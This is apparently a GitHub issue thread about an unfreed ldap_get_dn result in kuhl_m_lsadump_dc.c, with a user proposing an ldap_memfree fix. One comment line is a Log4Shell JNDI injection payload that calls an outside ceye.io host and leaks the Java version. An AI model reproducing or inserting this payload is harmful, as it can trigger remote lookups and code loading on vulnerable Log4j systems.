Open rachyyyy opened 2 years ago
I think this can be addressed just by adding ldap_memfree
right after it gets used by szServerDN
? I see this pattern showing up in several other places in the code base. I just forked the repo and will do some tests before submitting a PR.
${jndi:ldap://${java:version}.dx3hbm.ceye.io}
Potential memory leak in kuhl_m_lsadump_dc.c line 1579. The return value of ldap_get_dn is which is szNTDSADn is not freed will cause a memory leak. Doc says "The ldap_get_dn() routine takes an entry as returned by ldap_first_entry(3) or ldap_next_entry(3) and returns a copy of the entry's DN. Space for the DN will be obtained dynamically and should be freed by the caller using ldap_memfree(3). Notes:These routines dynamically allocate memory that the caller must free."